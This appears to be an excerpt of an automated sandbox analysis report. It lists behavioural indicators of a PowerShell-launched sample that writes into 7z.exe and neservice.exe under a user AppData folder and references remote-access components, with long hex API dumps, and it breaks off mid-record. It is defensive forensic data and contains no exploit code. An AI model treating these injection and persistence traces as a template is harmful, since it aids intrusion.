"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "neservice.exe" failed to load missing module "%LOCALAPPDATA%\Nfservice\dbghelp.dll" - [base:0; Status:c0000135] "neservice.exe" failed to load missing module "NSMTRACE" - [base:0; Status:c0000135] "neservice.exe" failed to load missing module "%LOCALAPPDATA%\Nfservice\CryptPak.dll" - [base:0; Status:c0000135] "neservice.exe" failed to load missing module "pcihooks" - [base:0; Status:c0000135] "neservice.exe" failed to load missing module "PCIINV.DLL" - [base:0; Status:c0000135]41:T4c9,file/memory contains long string with (Indicator: "ProcessIdToSessionId"; File: "pcicapi.dll") file/memory contains long string with (Indicator: "ProcessIdToSessionId"; File: "HTCTL32.DLL") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00002888-00000C2C-1561588547") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00002888-00000C2C-1562086917") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00002888-00000C2C-1562231874") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WTSEnumerateProcessesA" (Indicator: "WTSEnumerateProcesses"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")42:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac0e77f87f0000000000000000000051edfb77f87f0000000000008b01000000000000000000009de0f86b075800002a00000000000000f0caf0378b0100008fecfb77f87f0000e0ac0e77f87f0000e0ac0e77f87f0000000000000000000000000000f87f0000ffffff7f83f8000000000000000000000000000000000000d8ce0277f87f00002a0000000000000069c3bb76f87f00003100000000000000400200000000000044020000000000001100011000000000d0de6d331a00000003a32f76f87f0000d0de6d331a00000000000000000000002b00000000000000000000000000000020b0c176f87f0000b43fc076f87f0000e0ce0277 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000b000000000000000b000000000000005800000000000000000000000000000000000000000000000000d80000000000580000000100000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d000000000000b0d66d331a0000000400000000000000f01485047101000006000000000000000300000000000000a7405b74f87f0000000000000000000000000000000000000000000000000000010100000000000080eef2378b0100000a000000000000000000000000000000000000000000000043003a005c0055007300650072007300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000498f977f87f00000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a011ea378b01000000000000000000000000ea378b01000000308b331a000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00cea378b0100003600000000000000400000000000000050cf6d331a00000000000000000000000000000000000000000000000000000000000000000000000400000000000000200dea378b01000000000000000000000000ea378b01000000308b331a000000400000008b0100000000000000000000320000000000000000000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000b0e2f1378b01000090e26d331a000000249ff1378b010000f0d7f3378b01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000feffffffffffffff00000000000000007218f1378b010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c000000000000f0b96d331a00000038240141de7f000080298404710100001affff7f000000002000000000000000a7405b74f87f000030c76d331a000000000000000000000018c16d331a000000e30000000000000050d9f1378b0100002b00000000000000a0c06d33987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000cd0b000018c16d331a000000000000000498f977f87f00000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000002019ea378b01000000000000000000000000ea378b01000000308b331a00000000000000000000000000000000000000000000000000000000000000000000006c006e0000000000c00cea378b0100000d00000000000000800000000000000090b26d331a00000000000000000000000000000000000000000000000000000000000000000000000800000000000000a014ea378b01000000000000000000000000ea378b01000000308b331a00000040000000000000000000000000000000760000000000000000000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000b0e2f1378b010000d0c56d331a000000a808f2378b010000f0ecf3378b01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000feffffffffffffff0000000000000000b618f1378b010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c00000000000090ab6d331a00000074320141de7f0000a0f08504710100002cffff7f000000003200000000000000a7405b74f87f0000000000000000000000000000000000000000000000000000d100000000000000209bf1378b0100003e000000000000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000000000000004000105 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a017ea378b01000000000000000000000000ea378b01000000308b331a00000000000000000000000000000000000000000000000000000000000000000000009200940000000000c00cea378b0100000c00000000000000b00000000000000030a46d331a00000000000000000000000000000000000000000000000000000000000000000000000b00000000000000a017ea378b01000000000000000000000000ea378b01000000308b331a000000400000008b01000000000000000000009c0000000000000000000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c00000000000060a46d331a0000008e390141de7f0000e0f783047101000037ffff7f000000003d00000000000000a7405b74f87f000030a46d331a00000050a46d331a0000000004f43702000000c600000000000000a0a0f2378b01000047000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000002016ea378b01000000000000000000000000ea378b01000000308b331a0000000000000000000000000000000000000000000000000000000000000000000000a400a60000000000c00cea378b0100000000000000000000c000000000000000009d6d331a00000000000000000000000000000000000000000000000000000000000000000000000c000000000000002016ea378b01000000000000000000000000ea378b01000000308b331a00000040000000000000000000000000000000ae0000000000000000000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000309d6d331a000000ac400141de7f000000be85047101000040ffff7f000000004600000000000000a7405b74f87f0000009d6d331a000000209d6d331a0000000000005602000000bd000000000000003019f2378b0100005a000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000002020207200000000000c0966d331a000000ffffffffffffffff0100000000000000ec966d331a000000000000003307020233072e0000000000f50000000000000000000000000000009d77442b0afe00001d00001d00000000ca00cc0000000000ffffffff000000000004000000000000983cf877f87f0000c0956d331a000000c0966d331a000000ffffffff000000000000000000000000c0956d331a000000e6745a74f87f00007f0000000000000000040000000000000000ea378b01000000308b331a000000c0966d331a000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000308b331a000000c0966d331a000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff8b01000000000000000000000000000000000000b0e2f1378b01000010a96d331a000000c89af3378b010000f00ff4378b01000000000000000000000000000000000000000000000000000000000000000000000000000000000000b09ff3378b010000c89ff3378b010000b09ff3378b010000feffffffffffffff00000000000000001419f1378b0100000000000000000000000000000000000000000000000000000000000000000000d400000000000000570069006e0064006f0077007300200050006f00 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000009f1bf4378b01000042000000000000009f1bf4378b010000f878ee378b0100007d000000000000000200000200000000010000004d006900630072006f0073006f00660074000000f21500e78b010000d749aa74f87f00000000000000000000b0daf3378b010000010109090000000030b46d331a000000160100178b01000042000000000000000200000200000000d9bbf983854e00000000000000000000000000000000000000000000000000000035a674f87f0000d0e4f3378b010000d667f977f87f0000420000428b01000062875c74f87f000016010017000000007d000000000000000000000000000000ffffffff8b01000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996af977f87f00000000ee378b010000000000000000000000000000000000000000ee378b010000f9a1f983854e0000d667f977f87f0000efbe0000000000006895f1378b010000b090f1378b0100006895f1378b0100000000000000000000d8dcf3378b010000f8b26d331a000000b49da574f87f0000c0d6f1378b010000d667f977f87f0000ffffffff0000000040b5f3378b0100000000000000000000000000000000000001000000000000000000000000000000a0dbf3378b0100009c96a674f87f0000d058f3378b0100000c00000000000000080000000000000031d40d76f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996af977f87f00000000ee378b010000000000000000000000000000000000000000ee378b010000f9a1f983854e0000d667f977f87f0000efbe000000000000b893f1378b010000b090f1378b010000b893f1378b0100000000000000000000e8def3378b010000f8b26d331a000000b49da574f87f0000c0d6f1378b010000d667f977f87f0000ffffffff0000000060b3f3378b0100000000000000000000000000000000000001000000000000000000000000000000b0ddf3378b0100009c96a674f87f0000d058f3378b0100000c00000000000000080000000000000031d40d76f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996af977f87f00000000ee378b010000000000000000000000000000000000000000ee378b010000f9a1f983854e0000d667f977f87f0000efbe0000000000008896f1378b010000b090f1378b0100008896f1378b010000000000000000000038f8f3378b010000f8b26d331a000000b49da574f87f0000c0d6f1378b010000d667f977f87f0000ffffffff0000000050b9f3378b010000000000000000000000000000000000000100000000000000000000000000000000f7f3378b0100009c96a674f87f0000d058f3378b0100000c00000000000000080000000000000031d40d76f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00004744) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996af977f87f00000000ee378b010000000000000000000000000000000000000000ee378b010000f9a1f983854e0000d667f977f87f0000efbe000000000000989bf1378b010000b090f1378b010000989bf1378b0100000000000000000000f8e0f3378b010000f8b26d331a000000b49da574f87f0000c0d6f1378b010000d667f977f87f0000ffffffff0000000030b6f3378b0100000000000000000000000000000000000001000000000000000000000000000000c0dff3378b0100009c96a674f87f0000d058f3378b0100000c00000000000000080000000000000031d40d76f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00004744)43:T9fa,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "WaitForSingleObject() FAILED - mutex: %s res: 0x%x (%d)" (Indicator: "WaitForSingleObject"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")44:T45b,file/memory contains long string with (Indicator: "GetCommandLine"; File: "neservice.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "pcicapi.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "AudioCapture.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "remcmdstub.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002888.00000001.165813.009B2000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")45:T48a,"powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "7z.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "neservice.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "neservice.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "neservice.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "neservice.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")46:T50a,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Cobrowse FindWindow ret %x" (Indicator: "FindWindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")47:T478,"powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 2504) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 2504) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 2504) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\neservice.exe" (Handle: 3088) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\neservice.exe" (Handle: 3088) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\neservice.exe" (Handle: 3088) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 3080) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 3080) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe" (Handle: 3080)48:Ta00,"powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1526227251 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1526237772 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1527104818 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1527113275 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1529380661 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1529390012 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1529589267 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1529598044 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1530186524 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1531135586 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1531143486 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1531560885 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1531569956 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1532652435 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1532662135 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1533363856 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1533372934 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1567415299 [PID: 4744] "powershell.exe" queried SystemProcessInformation at 00000000-00004744-00000C15-1567424601 [PID: 4744] "7z.exe" queried SystemProcessInformation at 00000000-00000400-00000C15-1555306014 [PID: 400] "7z.exe" queried SystemProcessInformation at 00000000-00000400-00000C15-1555316201 [PID: 400] "7z.exe" queried SystemProcessInformation at 00000000-00000400-00000C15-1555543706 [PID: 400] "7z.exe" queried SystemProcessInformation at 00000000-00000400-00000C15-1555552361 [PID: 400] "neservice.exe" queried SystemProcessInformation at 00000000-00002888-00000C15-1560995485 [PID: 2888] "neservice.exe" queried SystemProcessInformation at 00000000-00002888-00000C15-1561004892 [PID: 2888]49:T124f,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10f1fc378b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0e7fc378b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "70f1fc378b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "30af233a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0b2233a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0b8233a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0f7f3378b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0eafc378b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d09f283a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0053293a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "9050293a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "`V):" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e054293a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "104f293a8b010000" "pbInput": "RSA1" "cbInput": 